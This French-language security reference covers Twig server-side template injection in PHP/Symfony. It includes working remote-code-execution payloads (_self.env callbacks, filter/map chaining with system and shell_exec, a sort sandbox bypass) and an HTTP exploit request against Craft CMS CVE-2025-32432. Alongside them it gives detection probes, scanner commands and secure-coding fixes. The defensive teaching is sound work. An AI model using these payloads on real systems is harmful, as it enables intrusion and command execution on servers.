SSTI Twig (CWE-1336) dans PHP/Symfony : chaînage de filtres et accès aux objets pour atteindre l'exécution de code à distance.
TL;DR
{{7*7}} → 49 ; {{7*'7'}} → 7777777 confirme Twig (Jinja2 retourne 49){{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}{{ ['id']|filter('system')|join }} — chaînage de filtres via callbacks PHP$twig->render('safe.twig', ['var' => $input]) — jamais $twig->createTemplate($input)Twig est le moteur de templates PHP par défaut pour Symfony et une bibliothèque largement utilisée dans Drupal 9/10, Laravel et les applications PHP autonomes. La SSTI dans Twig se produit quand une entrée contrôlée par l'utilisateur est passée comme chaîne de template à $twig->createTemplate() ou à un StringLoader, plutôt qu'être passée comme variable de rendu à un fichier de template précompilé.
Le vecteur RCE principal en Twig 2.x exploite le global _self — une référence à l'environnement du template courant — et la méthode registerUndefinedFilterCallback(), qui mappe un nom de filtre indéfini à n'importe quel callable PHP. Appeler registerUndefinedFilterCallback("system") puis getFilter("id") invoque system("id"), atteignant l'exécution de commandes OS. Twig 3.x a supprimé l'accès direct à _self.env, mais a introduit une nouvelle surface d'attaque via le chaînage de filtres : {{ ['id']|filter('system')|join }} passe la chaîne 'id' à travers la fonction PHP system().
OWASP A03:2021 et CWE-1336 s'appliquent. La SSTI Twig est l'une des variantes les plus actives en 2025-2026 : CVE-2025-32432 (Craft CMS, CVSS 10.0, CISA KEV) a exploité l'injection Twig non authentifiée à grande échelle entreprise.
Le pattern PHP vulnérable :
// VULNÉRABLE — l'entrée utilisateur est la SOURCE du template
$twig = new \Twig\Environment(new \Twig\Loader\ArrayLoader());
$userTemplate = $_POST['template'];
// Crée un template depuis une chaîne utilisateur — vecteur SSTI
$template = $twig->createTemplate($userTemplate);
echo $template->render([]);Payloads selon la version Twig :
// Twig 2.x — RCE via _self.env
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("id") }}
// Twig 3.x — chaînage de filtres RCE
{{ ['id']|filter('system')|join }}
{{ ['cat /etc/passwd']|map('shell_exec')|join }}
// Sonde de détection (toutes versions)
{{7*7}} → 49
{{7*'7'}} → 7777777 (confirme Twig, pas Jinja2)| Variante | Payload | Version Twig | Impact |
|---|---|---|---|
| Détection | {{7*7}} | Toutes | Confirme → 49 |
| Différenciation | {{7*'7'}} | Toutes | 7777777 = Twig, 49 = Jinja2 |
RCE _self | {{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }} | 2.x | Commande OS via system() |
| Chaîne filtre | {{ ['id']|filter('system')|join }} | 3.x | Commande OS sans _self |
| Bypass sort (CVE-2022-23614) | {{ ['id']|sort(function(a,b){return system(a);}) }} | 2.x < 2.14.11 | Évasion sandbox → RCE |
POST /actions/assets/transform HTTP/1.1
Host: target-craft-cms.example.com
Content-Type: application/x-www-form-urlencoded
transformImage[assetId]=1&transformImage[handle]={{ ['id']|filter('system')|join }}La réponse contient : uid=33(www-data) gid=33(www-data) — RCE non authentifié via injection Twig dans l'endpoint de transformation d'assets. Affecte Craft CMS avant 3.9.14, 4.13.2, 5.6.17.
// Même dans SandboxExtension — contourne SecurityPolicy via callback sort
{{ ['id']|sort(function(a, b) { return system(a); }) }}Le filtre sort acceptait une closure utilisateur comme callback. La closure invoquait system(), non bloqué par SecurityPolicy car celle-ci validait les noms de filtres mais pas les callables de callback. Corrigé dans Twig 2.14.11 et 3.3.8.
CVE-2025-32432 — Craft CMS SSTI Twig (CVSS 10.0, CISA KEV 2025-04-29)
Craft CMS avant 3.9.14, 4.13.2 et 5.6.17 exposait un endpoint de rendu de template Twig dans la fonctionnalité de transformation d'assets, acceptant des chaînes de template contrôlées par l'utilisateur sans sandboxing. Aucune authentification requise. L'exploitation active fut confirmée dans les 24 heures suivant la divulgation du CVE.
CVE-2022-23614 — Évasion de sandbox Twig (CVSS 8.8)
Twig 2.x avant 2.14.11 et 3.x avant 3.3.8 permettaient l'évasion via le filtre sort avec un closure utilisateur. Le closure invoquait system() directement, contournant SecurityPolicy. Démontre qu'un sandbox Twig a été contourné à plusieurs reprises via les mécanismes de callback de filtre — chaque correctif adresse un vecteur.
HackerOne #1436052 — SSTI Twig dans éditeur de template CMS (prime de 6 000$)
Un chercheur a découvert une SSTI Twig dans un éditeur de template CMS basé Symfony. Sauvegarder un template contenant {{ _self.env.registerUndefinedFilterCallback("system") }} suivi de {{ _self.env.getFilter("id") }} contournait entièrement le sandbox SecurityPolicy via le global _self. Exécution de commandes OS en tant que www-data. Prime : 6 000$.
{{ ['id']|filter('system')|join }} atteint le RCE dans Twig 3.x sans évasion de sandbox quand SecurityPolicy n'est pas appliqué. Les filtres filter, map, sort et reduce Twig acceptent des noms de fonctions PHP comme callbacks — incluant system, shell_exec, exec et passthru. Une SecurityPolicy sans allowlist de callback explicite est insuffisante.
{{7*7}} — 49 confirme un moteur {{}}.{{7*'7'}} — 7777777 confirme Twig (Jinja2 retourne 49). Différenciateur définitif.${{<%[%'"}}%\ — Twig retourne Twig\Error\SyntaxError: Unexpected token "punctuation" of value "<".# SSTImap — moteur Twig
sstimap -u "http://cible.com/apercu?template=*" --engine Twig
# Nuclei — Craft CMS CVE-2025-32432
nuclei -u http://craft-cms.example.com -t cves/2025/CVE-2025-32432.yaml// VULNÉRABLE — source du template = entrée utilisateur
$template = $twig->createTemplate($_POST['template']);
echo $template->render([]);
// SÉCURISÉ — template fichier, entrée utilisateur comme variable
$twig = new \Twig\Environment(
new \Twig\Loader\FilesystemLoader('/app/templates')
);
echo $twig->render('salutation.html.twig', ['nom' => $userInput]);use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
$policy = new SecurityPolicy(
['if', 'for'], // tags autorisés
['upper', 'lower', 'escape', 'date'], // filtres autorisés — PAS 'filter', 'map', 'sort'
[], // méthodes autorisées (vide = aucune)
[], // propriétés autorisées (vide = aucune)
['date'] // fonctions autorisées
);
$twig->addExtension(new SandboxExtension($policy, sandboxed: true));La SSTI Twig se produit quand une entrée contrôlée par l'utilisateur est passée comme chaîne de template à createTemplate() de Twig plutôt que comme variable de rendu à un fichier de template sécurisé. Via le global _self ou le chaînage de filtres, des callables PHP arbitraires incluant system() peuvent être invoqués.
_self est un global Twig fournissant accès à l'environnement du template courant. registerUndefinedFilterCallback() enregistre un callable PHP pour gérer les noms de filtres indéfinis. Appeler {{ _self.env.registerUndefinedFilterCallback('system') }} suivi de {{ _self.env.getFilter('id') }} exécute system('id'). Fonctionne dans Twig 2.x ; corrigé dans Twig 3.x.
Dans Twig 3.x, _self n'expose plus env. Le RCE repose sur le chaînage de filtres : {{ ['id']|filter('system')|join }} passe 'id' à travers la fonction PHP system(). Ces filtres acceptent des noms de fonctions PHP comme callbacks, ce qui est autorisé sauf si SecurityPolicy restreint la liste des callables.
CVE-2025-32432 : Craft CMS SSTI Twig pré-auth RCE (CVSS 10.0, CISA KEV 2025-04-29). CVE-2022-23614 : évasion de sandbox Twig 2.x/3.x via callback filtre sort (CVSS 8.8). CVE-2022-39261 : traversée de chemin Twig via loader (CVSS 7.5). Historique : CVE-2015-9125 (contournement de sandbox Twig).
Craft CMS avant 3.9.14, 4.13.2 et 5.6.17 permettait l'injection de template Twig non authentifiée via l'endpoint de transformation d'assets. Une requête POST avec une expression Twig comme paramètre de transformation se rendait sans sandboxing. Payload : {{ ['id']|filter('system')|join }} → RCE. Ajouté au CISA KEV 2025-04-29 avec exploitation active dans les 24 heures.
SecurityPolicy dans SandboxExtension de Twig restreint les tags, filtres, fonctions, méthodes et propriétés utilisables dans les templates sandboxés. Elle bloque l'accès aux callables dangereux en exigeant des allowlists explicites. Cependant, si l'allowlist inclut des callbacks utilisés comme arguments de filtres (sort, filter, map) sans restreindre quelles fonctions PHP peuvent être utilisées comme callback, le RCE reste possible via {{ ['id']|filter('system') }}.
Soumettre {{7*'7'}} — Twig retourne 7777777 (répétition de chaîne) ; Jinja2 retourne 49 (multiplication truthy). Confirmation supplémentaire : {{ dump() }} est spécifique à Twig (nécessite l'extension dump activée) et retourne undefined dans Jinja2.
Oui. Drupal 9 et 10 utilisent Twig comme moteur de thème par défaut. Les modules Drupal personnalisés passant des entrées utilisateur à $twig->createTemplate() ou render() avec des chaînes de template contrôlées par l'utilisateur sont vulnérables. L'équipe de sécurité Drupal a émis des avertissements de sécurité pour plusieurs modules contribués avec ce pattern.
Twig 2.x avant 2.14.11 et 3.x avant 3.3.8 permettaient l'évasion de sandbox via le filtre sort avec un callback fourni par l'utilisateur. {{ ['id']|sort(function(a,b){return system(a);}) }} contournait SecurityPolicy car le filtre sort validait les noms de filtres mais pas les implémentations de callback. Corrigé dans Twig 2.14.11 et 3.3.8.
Ne jamais passer des entrées utilisateur à $twig->createTemplate(). Toujours utiliser $twig->render('safe.html.twig', ['var' => $userInput]) qui charge un template précompilé depuis le système de fichiers et passe les données utilisateur comme variables. Si des templates utilisateur sont requis, appliquer SecurityPolicy avec des allowlists explicites pour les tags, filtres et fonctions.
L'autoescape prévient le XSS en encodant la sortie HTML — il ne prévient pas la SSTI. L'autoescape opère sur la sortie des expressions évaluées ; il ne prévient pas l'évaluation elle-même. Un template {{ 7*7 }} évalue toujours à 49 avec autoescape activé. La prévention SSTI requiert de ne jamais passer des entrées utilisateur comme source de template.